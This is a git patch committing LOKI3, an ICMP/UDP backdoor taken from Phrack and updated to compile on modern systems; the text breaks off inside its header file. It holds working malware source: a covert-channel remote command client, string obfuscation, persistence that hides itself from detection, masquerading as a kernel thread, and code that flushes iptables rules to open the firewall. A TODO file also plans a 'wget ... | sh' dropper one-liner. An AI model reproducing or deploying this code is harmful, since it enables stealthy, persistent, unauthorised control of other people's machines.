From eeac69b2168c5a65f9608771006ccc43033cbd23 Mon Sep 17 00:00:00 2001 From: daniel Date: Wed, 7 May 2025 09:45:50 -0700 Subject: initial commit --- Makefile | 94 ++++++++++ README.md | 46 +++++ TODO.md | 60 ++++++ client_db.c | 279 ++++++++++++++++++++++++++++ client_db.h | 37 ++++ crypt.c | 50 +++++ crypt.h | 7 + cstrobf.c | 27 +++ cstrobf.h | 34 ++++ loki.c | 362 ++++++++++++++++++++++++++++++++++++ loki.h | 361 ++++++++++++++++++++++++++++++++++++ lokid.c | 581 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ obfuscate.c | 144 +++++++++++++++ persistence.c | 117 ++++++++++++ persistence.h | 25 +++ prochide.c | 146 +++++++++++++++ prochide.h | 13 ++ shm.c | 114 ++++++++++++ shm.h | 18 ++ surplus.c | 201 ++++++++++++++++++++ 20 files changed, 2716 insertions(+) create mode 100644 Makefile create mode 100644 README.md create mode 100644 TODO.md create mode 100644 client_db.c create mode 100644 client_db.h create mode 100644 crypt.c create mode 100644 crypt.h create mode 100644 cstrobf.c create mode 100644 cstrobf.h create mode 100644 loki.c create mode 100644 loki.h create mode 100644 lokid.c create mode 100644 obfuscate.c create mode 100644 persistence.c create mode 100644 persistence.h create mode 100644 prochide.c create mode 100644 prochide.h create mode 100644 shm.c create mode 100644 shm.h create mode 100644 surplus.c diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..fc66d69 --- /dev/null +++ b/Makefile @@ -0,0 +1,94 @@ +# Makefile for LOKI3 Sun Jul 27 21:29:28 PDT 1997 +# route (c) 1997 Guild Corporation, Worldwide + + +###### +# Choose a cryptography type +# + +CRYPTO_TYPE = WEAK_CRYPTO # XOR +#CRYPTO_TYPE = NO_CRYPTO # Plaintext + +###### +# Choose a child process handler type +# + +SPAWN_TYPE = POPEN + +###### +# It is safe to leave this alone. +# + +NET3 = #-DNET3 +SEND_PAUSE = SEND_PAUSE=100 +#DEBUG = -DDEBUG + +##### +# Extra features +# + +PERSISTENCE = -DPERSISTENCE +FLUSH_IPTABLES = -DFLUSH_IPTABLES + +#----------------------------------------------------------------------------# + + +i_hear_a_voice_from_the_back_of_the_room: + @echo + @echo "LOKI3 Makefile" + @echo "Edit the Makefile and then invoke with one of the following:" + @echo + @echo "linux openbsd freebsd solaris clean" + @echo + @echo "See Phrack Magazine issue 51 article 7 for verbose instructions" + @echo + +linux: + @make OS=-DLINUX CRYPTO_TYPE=-D$(CRYPTO_TYPE) \ + SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \ + FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all + strip loki lokid + strip -R .comment lokid + +openbsd: + @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \ + SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \ + FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all + +freebsd: + @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \ + SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \ + FAST_CHECK=-Dx86_FAST_CHECK IP_LEN=-DBROKEN_IP_LEN all + +solaris: + @make OS=-DSOLARIS CRYPTO_TYPE=-D$(CRYPTO_TYPE) \ + SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \ + LIBS+=-lsocket LIBS+=-lnsl IP_LEN= all + +# Solaris: Get rid of -static +CFLAGS = -Wall -O6 -finline-functions -funroll-all-loops $(OS) \ + $(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK) \ + $(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3) $(PERSISTENCE) \ + $(FLUSH_IPTABLES) -static + +#CC = gcc +CC = musl-gcc +#CC = /home/daniel/code/musl/i486-linux-musl-cross/bin/i486-linux-musl-gcc +C_OBJS = surplus.o crypt.o cstrobf.o +S_OBJS = client_db.o shm.o surplus.o crypt.o prochide.o persistence.o cstrobf.o + + +.c.o: + $(CC) $(CFLAGS) -c $< -o $@ + +all: loki + +loki: $(C_OBJS) loki.o $(S_OBJS) lokid.o + $(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c -o loki $(CLIB) $(LIBS) + $(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c -o lokid $(CLIB) $(LIBS) + +clean: + @( rm -fr *.o loki lokid ) + +dist: clean + @( cd .. ; tar cvf loki3.tar loki3/ ; gzip -9 loki3.tar ) diff --git a/README.md b/README.md new file mode 100644 index 0000000..0ef76b0 --- /dev/null +++ b/README.md @@ -0,0 +1,46 @@ +# LOKI3 + +This code was stolen from Phrack magazine. It is a 20+ year old backdoor +for Linux, BSD, Solaris, ... which works over icmp. + +http://www.phrack.org/issues/49/6.html +http://www.phrack.org/issues/51/6.html + +This code no longer compiled as of ~2016 I made it compile on modern +systems with musl-gcc, so it will "just work". + +## Building + +### Install musl-gcc + +I use musl because the objects reusulting from static linking using +gcc or clang do not work on older kernels. + +Installing is easy on Ubuntu 20.04: +``` +apt install musl-tools +``` + +Cross compilers can be found here: https://musl.cc/ + +### Building +`make` will list the available targets. + +#### Linux +`make linux` + +## Persistence + +If compiled with PERSISTENCE defined, lokid will install a SysV init +script when SIGTERM is recieved. This signal is typically sent when +the system is rebooted or the process is killed with `kill` or +`killall` without specifying which signal to send (ex: kill -9 or kill +-HUP send the SIGKILL and SIGHUP signals, respectively). + +When lokid is ran, it removes this persistence to avoid detection. + +## Process Masquerading + +This process masquerades itself as a kernel thread. See prochide.c for +more details. + diff --git a/TODO.md b/TODO.md new file mode 100644 index 0000000..60c0779 --- /dev/null +++ b/TODO.md @@ -0,0 +1,60 @@ +# TODO + +## Building + +* build script. build loki and lokid binaries for all supported + architectures and operating systems. + +* Build lokid for FreeBSD. + +* Build lokid for Solaris. + * Compiles, but hangs on read(). It does not currently work. + + +## Dropper + +* Dropper one-liner + * copy/pastable one-liner to download/install + * wget -O - http://whatever | sh + + +## Persistence + +* rpm and dpkg installers. + * /sbin/[fsck|mkfs|mount].SOMENAME blends in pretty well + * Do this to avoid tools such as debsums + + +## Daemon + +* Mutex to avoid being ran twice. + +* Protocol swapping does not work. + +* popen() does not handle stderr. error output is being output to the console + + +## Client + +* /get command to get files + +* /put command to send files + +* /server switch context to another server + +* /list list servers + +* /add add server to list + +* /remove remove server to list + +* /save save server list and group to file + * cli flag to load configuration file + +* /group add server to group + +* /mass - execute commands on group of hosts + +* tab completion + +* Avoid accidental ^C in loki client. diff --git a/client_db.c b/client_db.c new file mode 100644 index 0000000..0a3143e --- /dev/null +++ b/client_db.c @@ -0,0 +1,279 @@ +/* + * LOKI3 + * + * [ client_db.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" +#include "shm.h" +#include "client_db.h" + +extern struct loki rdg; +extern int verbose; +extern int destroy_shm; +extern struct client_list *client; +extern uint16_t c_id; + +/* + * Obfuscated strings + */ +extern estring S_MSG_SIGALRM; +extern estring S_MSG_EXPIRED_CLIENT; +extern estring S_MSG_CLIENT_DB_FULL; +extern estring S_CMD_FLUSH_IPTABLES; +extern estring S_STAT_VERSION; +extern estring S_STAT_INTERFACE; +extern estring S_STAT_TRANSPORT; +extern estring S_STAT_CRYPTO; +extern estring S_STAT_UPTIME; +extern estring S_STAT_CLIENT_ID; +extern estring S_STAT_PACKETS_WRITTEN; +extern estring S_STAT_BYTES_WRITTEN; +extern estring S_STAT_REQUESTS; + +/* + * The server maintains an array of active client information. This + * function simply steps through the structure array and attempts to add + * an entry. + */ +int add_client(uint8_t *key) { + int i = 0, emptyslot = -1; + + locks(); + + for (; i < MAX_CLIENT; i++) { + /* Check for duplicate entries */ + if (IS_GOOD_CLIENT(rdg)) { + emptyslot = i; + break; + } + + /* tag the first empty slot found */ + if ((!(client[i].client_id))) { + emptyslot = i; + } + } + + if (emptyslot == -1) { /* No empty array slots */ + if (verbose) { + char *dbuf; + dbuf = decrypt(S_MSG_CLIENT_DB_FULL); + fprintf(stderr, "%s", dbuf); + destroy(dbuf, S_MSG_CLIENT_DB_FULL.size); + } + + ulocks(); + + return NNOK; + } + + /* Initialize array with client info */ + client[emptyslot].touchtime = time((time_t *)NULL); + + if (emptyslot != i) { + client[emptyslot].client_id = c_id; + client[emptyslot].client_ip = rdg.iph.ip_src; + client[emptyslot].packets_sent = 0; + client[emptyslot].bytes_sent = 0; + client[emptyslot].hits = 0; + } + + ulocks(); + + return emptyslot; +} + + +/* + * Look for a client entry in the client database. Either copy the clients + * key into user_key and update timestamp, or clear the array entry, + * depending on the disposition of the call. + */ +int locate_client(int disposition) { + locks(); + for (int i = 0; i < MAX_CLIENT; i++) { + if (IS_GOOD_CLIENT(rdg)) { + if (disposition == FIND) { /* update timestamp */ + client[i].touchtime = time((time_t *)NULL); + } + + /* Remove entry */ + else if (disposition == DESTROY) { + bzero(&client[i], sizeof(client[i])); + } + ulocks(); + return i; + } + } + ulocks(); /* Didn't find the client */ + return NNOK; +} + + +/* + * Fill a string with current stats about a particular client. + */ +int stat_client(int entry, uint8_t *buf, int prot, time_t uptime) { + int n = 0; + time_t now = 0; + struct protoent *proto = 0; + char *dbuf; + + + /* locate_client didn't find an entry */ + if (entry == NNOK) { +#ifdef DEBUG + fprintf(stderr, "[DEBUG]\tstat_client nono\n"); +#endif /* DEBUG */ + return NOK; + } + + dbuf = decrypt(S_STAT_VERSION); + n = sprintf((char *)buf, dbuf, VERSION); + destroy(dbuf, S_STAT_VERSION.size); + + dbuf = decrypt(S_STAT_INTERFACE); + n += sprintf((char *)&buf[n], dbuf, host_lookup(rdg.iph.ip_dst)); + destroy(dbuf, S_STAT_INTERFACE.size); + + proto = getprotobynumber(prot); + dbuf = decrypt(S_STAT_TRANSPORT); + n += sprintf((char *)&buf[n], dbuf, proto -> p_name); + destroy(dbuf, S_STAT_TRANSPORT.size); + + dbuf = decrypt(S_STAT_CRYPTO); + n += sprintf((char *)&buf[n], dbuf, CRYPTO_TYPE); + destroy(dbuf, S_STAT_CRYPTO.size); + + time(&now); + dbuf = decrypt(S_STAT_UPTIME); + n += sprintf((char *)&buf[n], dbuf, difftime(now, uptime) / 0x3c); + destroy(dbuf, S_STAT_UPTIME.size); + + locks(); + + dbuf = decrypt(S_STAT_CLIENT_ID); + n += sprintf((char *)&buf[n], dbuf, client[entry].client_id); + destroy(dbuf, S_STAT_CLIENT_ID.size); + + dbuf = decrypt(S_STAT_PACKETS_WRITTEN); + n += sprintf((char *)&buf[n], dbuf, client[entry].packets_sent); + destroy(dbuf, S_STAT_PACKETS_WRITTEN.size); + + dbuf = decrypt(S_STAT_BYTES_WRITTEN); + n += sprintf((char *)&buf[n], dbuf, client[entry].bytes_sent); + destroy(dbuf, S_STAT_BYTES_WRITTEN.size); + + dbuf = decrypt(S_STAT_REQUESTS); + n += sprintf((char *)&buf[n], dbuf, client[entry].hits); + destroy(dbuf, S_STAT_REQUESTS.size); + + ulocks(); + + return n; +} + +/* + * Unsets alarm timer, then calls age_client, then resets signal handler + * and alarm timer. + */ +void client_expiry_check() { + alarm(0); + age_client(); + +#ifdef FLUSH_IPTABLES + /* Flush iptables */ +#ifdef DEBUG + fprintf(stderr, "[DEBUG]\tflushing iptables\n"); +#endif /* DEBUG */ + char *dbuf; + dbuf = decrypt(S_CMD_FLUSH_IPTABLES); + system(dbuf); + destroy(dbuf, S_CMD_FLUSH_IPTABLES.size); + /* system("PATH=/sbin:/usr/sbin iptables -X 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -F 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null"); */ +#endif /* FLUSH_IPTABLES */ + + /* re-establish signal handler */ + if (signal(SIGALRM, client_expiry_check) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGALRM)); + } + + alarm(KEY_TIMER); +} + + +/* + * This function is called every KEY_TIMER interval to sweep through the + * client list. It zeros any entrys it finds that have not been accessed + * in KEY_TIMER seconds. This gives us a way to free up entries from clients + * which may have crashed or lost their QUIT_C packet in transit. + */ +void age_client() { + time_t timestamp = 0; + + time(×tamp); + locks(); + + for (int i = 0; i < MAX_CLIENT; i++) { + if (client[i].client_id) { + if (difftime(timestamp, client[i].touchtime) > KEY_TIMER) { + if (verbose) { + char *dbuf; + dbuf = decrypt(S_MSG_EXPIRED_CLIENT); + fprintf(stderr, dbuf, client[i].client_id, i); + destroy(dbuf, S_MSG_EXPIRED_CLIENT.size); + } + + bzero(&client[i], sizeof(client[i])); + } + } + } + + ulocks(); +} + + +/* + * Update the statistics for client. + */ +void update_client(int entry, int pcount, uint32_t bcount) { + locks(); + + client[entry].touchtime = time((time_t *)NULL); + client[entry].packets_sent += pcount; + client[entry].bytes_sent += bcount; + client[entry].hits ++; + + ulocks(); +} + + +/* + * Returns the IP address and ID of the targeted entry + */ +uint32_t check_client_ip(int entry, uint16_t *id) { + uint32_t ip = 0; + + locks(); + + if ((*id = (client[entry].client_id))) { + ip = client[entry].client_ip; + } + + ulocks(); + + return ip; +} +/* EOF */ diff --git a/client_db.h b/client_db.h new file mode 100644 index 0000000..936f95e --- /dev/null +++ b/client_db.h @@ -0,0 +1,37 @@ +/* + * LOKI + * + * client_db header file + * + * 1996/7 Guild Corporation Productions [daemon9] + */ + + +/* + * Client info list. + * MAX_CLIENT of these will be kept in a server-side array + */ +struct client_list { + uint16_t client_id; /* client loki_id */ + uint32_t client_ip; /* client IP address */ + time_t touchtime; /* last time entry was hit */ + uint32_t packets_sent; /* Packets sent to this client */ + uint32_t bytes_sent; /* Bytes sent to this client */ + unsigned int hits; /* Number of queries from client */ +}; + +#define IS_GOOD_CLIENT(ldg)\ +\ +(c_id == client[i].client_id && \ + ldg.iph.ip_src == client[i].client_ip) > \ + (0) ? (1) : (0) \ + +void update_client(int, int, uint32_t); /* Update a client entry */ + /* client info into supplied buffer */ +int stat_client(int, uint8_t *, int, time_t); +int add_client(uint8_t *); /* add a client entry */ +int locate_client(int); /* find a client entry */ +void age_client(void); /* age a client from the list */ +uint16_t update_client_salt(int); /* update and return salt */ +uint32_t check_client_ip(int, uint16_t *); /* return ip and id of target */ + diff --git a/crypt.c b/crypt.c new file mode 100644 index 0000000..b39ab61 --- /dev/null +++ b/crypt.c @@ -0,0 +1,50 @@ +/* + * LOKI3 + * + * [ crypt.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" +#include "crypt.h" + +#ifdef WEAK_CRYPTO +/* + * Simple XOR obfuscation. + * + * ( Syko was right -- the following didn't work under certain compilation + * environments... Never write code in which the order of evaluation defines + * the result. See K&R page 53, at the bottom... ) + * + * if (!m) while (i < bs) t[i] ^= t[i++ +1]; + * else + * { + * i = bs; + * while (i) t[i - 1] ^= t[i--]; + * } + * + */ +void blur(int m, int bs, uint8_t *t) { + int i = 0; + + if (!m) { /* Encrypt */ + while (i < bs) { + t[i] ^= t[i + 1]; + i++; + } + } else { /* Decrypt */ + i = bs; + while (i) { + t[i - 1] ^= t[i]; + i--; + } + } +} +#endif /* WEAK_CRYPTO */ + +#ifdef NO_CRYPTO +void blur(int m, int bs, uint8_t *t){} +#endif /* NO_CRYPTO */ + +/* EOF */ diff --git a/crypt.h b/crypt.h new file mode 100644 index 0000000..ea1abb1 --- /dev/null +++ b/crypt.h @@ -0,0 +1,7 @@ +/* + * LOKI + * + * crypt header file + * + * 1996/7 Guild Corporation Productions [daemon9] + */ diff --git a/cstrobf.c b/cstrobf.c new file mode 100644 index 0000000..743285d --- /dev/null +++ b/cstrobf.c @@ -0,0 +1,27 @@ +/* + * LOKI3 + * + * [ cstrobf.c ] + * + * 2019 and beyond Elective Surgery [dmfr] + */ + +#include "cstrobf.h" + + +char *decrypt(estring encrypted) { + int i; + char buf[CSTROBF_MAX] = {0}; + + for (i = 0; i < encrypted.size; i++) + buf[i] = encrypted.str[i] ^ encrypted.key[i % encrypted.ksize]; + + return strdup(buf); +} + + +void destroy(char *buf, size_t len) { + for(int i = 0; i < len; i++) + buf[i] = rand() % 256; + free(buf); +} diff --git a/cstrobf.h b/cstrobf.h new file mode 100644 index 0000000..c0628a8 --- /dev/null +++ b/cstrobf.h @@ -0,0 +1,34 @@ +#pragma once +/* + * LOKI3 + * + * [ cstrobf.h ] + * + * 2019 and beyond Elective Surgery [dmfr] + */ + +#include +#include +#include +#include +#include +#include +#include + + +#define CSTROBF_MAX 1024 +#define KEY_SIZE 8 + + +typedef struct cstrobf { + uint8_t str[CSTROBF_MAX]; + size_t size; + uint8_t key[KEY_SIZE]; + size_t ksize; +} estring; + + +char *decrypt (estring); +void destroy(char *, size_t); + +/* EOF */ diff --git a/loki.c b/loki.c new file mode 100644 index 0000000..4d27532 --- /dev/null +++ b/loki.c @@ -0,0 +1,362 @@ +/* + * LOKI3 + * + * [ loki.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" + +jmp_buf env; +struct loki sdg, rdg; +int verbose = OK, cflags = 0, ripsock = 0, tsock = 0; +uint32_t p_read = 0; /* packets read */ + + +int main(int argc, char *argv[]) { + int n; + static int prot = IPPROTO_ICMP, one = 1, c = 0; + static uint16_t loki_id = 0; + int timer = MIN_TIMEOUT; + uint8_t buf[BUFSIZE] = {0}; + struct protoent *pprot = 0; + struct sockaddr_in sin = {0}; + + /* Ensure we have proper permissions */ + if (getuid() || geteuid()) { + err_exit(1, 1, verbose, L_MSG_NOPRIV); + } + + loki_id = getpid(); /* Allows us to individualize each + * same protocol loki client session + * on a given host. + */ + //bzero((struct sockaddr_in *)&sin, sizeof(sin)); + while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF) { + switch (c) { + case 'v': /* change verbosity */ + verbose = atoi(optarg); + break; + + case 'd': /* destination address of daemon */ + strncpy((char *)buf, optarg, BUFSIZE - 1); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = name_resolve((char *)buf); + if (sin.sin_addr.s_addr == 0x00000000) { + err_exit(1, 1, verbose, "\n[fatal] name lookup failed"); + } + + break; + + case 't': /* change alarm timer */ + if ((timer = atoi(optarg)) < MIN_TIMEOUT) + err_exit(1, 0, 1, "Invalid timeout.\n"); + break; + + case 'p': /* select transport protocol */ + switch (optarg[0]) { + case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */ + prot = IPPROTO_ICMP; + break; + + case 'u': /* DNS query / reply */ + prot = IPPROTO_UDP; + break; + + default: + err_exit(1, 0, verbose, "Unknown transport.\n"); + } + break; + + default: + err_exit(0, 0, 1, C_MSG_USAGE); + } + } + /* we need a destination address */ + if (!sin.sin_addr.s_addr) + err_exit(0, 0, verbose, C_MSG_USAGE); + + if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) + err_exit(1, 1, 1, L_MSG_SOCKET); + + /* Raw socket to build packets */ + if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) + err_exit(1, 1, verbose, L_MSG_SOCKET); + +#ifdef DEBUG + fprintf(stderr, "\nRaw IP socket: "); + fd_status(ripsock, OK); +#endif /* DEBUG */ + +#ifdef IP_HDRINCL + if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) + if (verbose) perror("Cannot set IP_HDRINCL socket option"); +#endif /* IP_HDRINCL */ + /* register packet dumping function + * to be called upon exit + */ + if (atexit(packets_read) == -1) + err_exit(1, 1, verbose, L_MSG_ATEXIT); + + fprintf(stderr, L_MSG_BANNER); + + fprintf(stderr, "\n\n"); + help(); + fprintf(stderr, "\n\n"); + + for (;;) { + bzero((uint8_t *)buf, BUFSIZE); + fprintf(stderr, PROMPT); /* prompt user for input */ + n = read(STDIN_FILENO, buf, BUFSIZE - 1); + if (n != -1) { + buf[strlen((char *)buf)] = 0; + /* Nothing to parse */ + if (buf[0] == '\n') continue; /* Escaped command */ + + if (buf[0] == '/') if ((!c_parse(buf, &timer))) continue; + /* Send request to server */ + loki_xmit(buf, loki_id, prot, sin, L_REQ); + } + /* change transports */ + if (cflags & NEWTRANS) { + close(tsock); + prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP; + if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) + err_exit(1, 1, verbose, L_MSG_SOCKET); + + pprot = getprotobynumber(prot); + if (verbose) fprintf(stderr, "\nloki: Transport protocol changed to %s.\n", pprot -> p_name); + cflags &= ~NEWTRANS; + continue; + } + if (cflags & TERMINATE) { /* client should exit */ + fprintf(stderr, "\nloki: clean exit\nroute [guild worldwide]\n"); + clean_exit(0); + } + /* Clear TRAP and VALID PACKET flags */ + cflags &= (~TRAP & ~VALIDP); + /* set alarm singal handler */ + if (signal(SIGALRM, catch_timeout) == SIG_ERR) { + err_exit(1, 1, verbose, L_MSG_SIGALRM); + } + /* returns true if we land here as the + * result of a longjmp() -- IOW the + * alarm timer went off + */ + if (setjmp(env)) { + fprintf(stderr, "\nAlarm.\n%s", C_MSG_TIMEOUT); + cflags |= TRAP; + } + while (!(cflags & TRAP)) { /* TRAP will not be set unless the + * alarm timer expires or we get + * an EOT packet + */ + alarm(timer); /* block until alarm or read */ + + if ((c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE)) < 0) + perror("[non fatal] network read error"); + + switch (prot) { /* Is this a valid Loki packet? */ + case IPPROTO_ICMP: + if ((IS_GOOD_ITYPE_C(rdg))) cflags |= VALIDP; + break; + + case IPPROTO_UDP: + if ((IS_GOOD_UTYPE_C(rdg))) cflags |= VALIDP; + break; + + default: + err_exit(1, 0, verbose, L_MSG_WIERDERR); + } + if (cflags & VALIDP) { +#ifdef DEBUG + fprintf(stderr, "\n[DEBUG]\t\tloki: packet read %d bytes, type: ", c); + PACKET_TYPE(rdg); + DUMP_PACKET(rdg, c); +#endif /* DEBUG */ + /* we have a valid packet and can + * turn off the alarm timer + */ + alarm(0); + switch (rdg.payload[0]) { /* determine packet type */ + case L_REPLY : /* standard reply packet */ + bcopy(&rdg.payload[1], buf, BUFSIZE - 1); + blur(DECR, BUFSIZE - 1, buf); +#ifndef DEBUG + fprintf(stderr, "%s", buf); +#endif /* DEBUG */ + p_read++; + break; + + case L_EOT : /* end of transmission packet */ + cflags |= TRAP; + p_read++; + break; + + case L_ERR : /* error msg packet (not encrypted) */ + bcopy(&rdg.payload[1], buf, BUFSIZE - 1); + fprintf(stderr, "%s", buf); + break; + case L_QUIT: /* termination directive packet */ + fprintf(stderr, C_MSG_MUSTQUIT); + clean_exit(0); + + default : + fprintf(stderr, "\nUnknown LOKI packet type"); + break; + } + cflags &= ~VALIDP; /* reset VALID PACKET flag */ + } + } + } + return 0; +} + + +/* + * SIGALRM signal handler. We reset the alarm timer and default signal + * signal handler, then restore our stack frame from the point that + * setjmp() was called. + */ +void catch_timeout(int signo) { + alarm(0); /* reset alarm timer */ + + /* reset SIGALRM, our handler will be again set after we longjmp()*/ + if (signal(SIGALRM, catch_timeout) == SIG_ERR) { + err_exit(1, 1, verbose, L_MSG_SIGALRM); + } + + /* restore environment */ + longjmp(env, 1); +} + + +/* + * Build and transmit Loki packets (client version) + */ + +void loki_xmit(uint8_t *payload, uint16_t loki_id, int prot, struct sockaddr_in sin, int ptype) { + bzero((struct loki *)&sdg, LOKIP_SIZE); + /* Encrypt and load payload, unless + * we are doing key management + */ + if (ptype != L_PK_REQ) { + blur(ENCR, BUFSIZE - 1, payload); + } + bcopy(payload, &sdg.payload[1], BUFSIZE - 1); + + if (prot == IPPROTO_ICMP) { +#ifdef NET3 /* Our workaround. */ + sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY; +#else + sdg.ttype.icmph.icmp_type = ICMP_ECHO; +#endif /* NET3 */ + sdg.ttype.icmph.icmp_code = 0; + sdg.ttype.icmph.icmp_id = loki_id; /* Session ID */ + sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */ + sdg.payload[0] = ptype; + sdg.ttype.icmph.icmp_cksum = + i_check((uint16_t *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE); + } + if (prot == IPPROTO_UDP) { + sdg.ttype.udph.uh_sport = loki_id; + sdg.ttype.udph.uh_dport = NL_PORT; + sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE); + sdg.payload[0] = ptype; + sdg.ttype.udph.uh_sum = + i_check((uint16_t *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE); + } + sdg.iph.ip_v = 0x4; + sdg.iph.ip_hl = 0x5; + sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE); + sdg.iph.ip_ttl = 0x40; + sdg.iph.ip_p = prot; + sdg.iph.ip_dst = sin.sin_addr.s_addr; + + if ((sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, 0, (struct sockaddr *) &sin, sizeof(sin)) < LOKIP_SIZE)) + if (verbose) + perror("[non fatal] truncated write"); +} + + +/* + * help is here + */ +void help() { + fprintf(stderr, + "%s\t\t- you are here\n" + "%s xx\t- change alarm timeout to xx seconds (minimum of %d)\n" + "%s\t\t- query loki server for client statistics\n" + "%s\t- query loki server for all client statistics\n" + "%s\t\t- swap the transport protocol ( UDP <-> ICMP ) [in beta]\n" + "%s\t\t- quit the client\n" + "%s\t- quit this client and kill all other clients (and the server)\n" + "%s dest\t- proxy to another server [ UNIMPLIMENTED ]\n" + "%s dest\t- redirect to another client [ UNIMPLIMENTED ]\n", + HELP, TIMER, MIN_TIMEOUT, STAT_C, STAT_ALL, SWAP_T, QUIT_C, QUIT_ALL, PROXY_D, REDIR_C); +} + + +/* + * parse escaped commands + */ +int c_parse(uint8_t *buf, int *timer) { + cflags &= ~VALIDC; + /* help */ + if (!strncmp((char *)buf, HELP, sizeof(HELP) - 1) || buf[1] == '?') { + help(); + return NOK; + } + /* change alarm timer */ + else if (!strncmp((char *)buf, TIMER, sizeof(TIMER) - 1)) { + cflags |= VALIDC; + (*timer) = atoi((char *)&buf[sizeof(TIMER) - 1]) > MIN_TIMEOUT ? atoi((char *)&buf[sizeof(TIMER) - 1]) : MIN_TIMEOUT; + fprintf(stderr, "\nloki: Alarm timer changed to %d seconds.", *timer); + return NOK; + } + /* Quit client, send notice to server */ + else if (!strncmp((char *)buf, QUIT_C, sizeof(QUIT_C) - 1)) + cflags |= (TERMINATE | VALIDC); + /* Quit client, send kill to server */ + else if (!strncmp((char *)buf, QUIT_ALL, sizeof(QUIT_ALL) - 1)) + cflags |= (TERMINATE | VALIDC); + /* Request server-side statistics */ + else if (!strncmp((char *)buf, STAT_C, sizeof(STAT_C) - 1)) + cflags |= VALIDC; + /* Swap transport protocols */ + else if (!strncmp((char *)buf, SWAP_T, sizeof(SWAP_T) - 1)) { + /* When using strong crypto we do not + * want to swap protocols. + */ + cflags |= (NEWTRANS | VALIDC); + } + /* Request server to redirect output + * to another LOKI client + */ + else if (!strncmp((char *)buf, REDIR_C, sizeof(REDIR_C) - 1)) + cflags |= (REDIRECT | VALIDC); + /* Request server to simply proxy + * requests to another LOKI server + */ + else if (!strncmp((char *)buf, PROXY_D, sizeof(PROXY_D) - 1)) + cflags |= (PROXY | VALIDC); + + /* Bad command trap */ + if (!(cflags & VALIDC)) { + fprintf(stderr, "Unrecognized command %s\n",buf); + return NOK; + } + + return OK; +} + + +/* + * Dumps packets read by client... + */ +void packets_read() { + fprintf(stderr, "Packets read: %d\n", p_read); +} + +/* EOF */ diff --git a/loki.h b/loki.h new file mode 100644 index 0000000..00b1053 --- /dev/null +++ b/loki.h @@ -0,0 +1,361 @@ +#pragma once + +/* + * LOKI3 + * + * loki header file + * + * 1996/7 Guild Corporation Productions [daemon9] + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "cstrobf.h" + +#ifdef LINUX +#include /* musl doesn't supply linux/icmp.h or linux/ip.h */ + +#define ICMP_ECHO 8 +#define ICMP_ECHOREPLY 0 + +/* BSDish nomenclature */ +#define ip iphdr +#define ip_v version +#define ip_hl ihl +#define ip_len tot_len +#define ip_ttl ttl +#define ip_p protocol +#define ip_dst daddr +#define ip_src saddr +#endif /* LINUX */ + +#ifdef BSD4 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#undef icmp_id +#undef icmp_seq +#define ip_dst ip_dst.s_addr +#define ip_src ip_src.s_addr +#endif + +#ifdef SOLARIS +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#undef icmp_id +#undef icmp_seq +#define ip_dst ip_dst.s_addr +#define ip_src ip_src.s_addr +#endif + +#ifdef BROKEN_IP_LEN +#define FIX_LEN(n) (x) /* FreeBSD needs this */ +#else +#define FIX_LEN(n) htons(n) +#endif + + +/* + * Net/3 will not pass ICMP_ECHO packets to user processes. + */ + +#ifdef NET3 +#define D_P_TYPE ICMP_ECHO 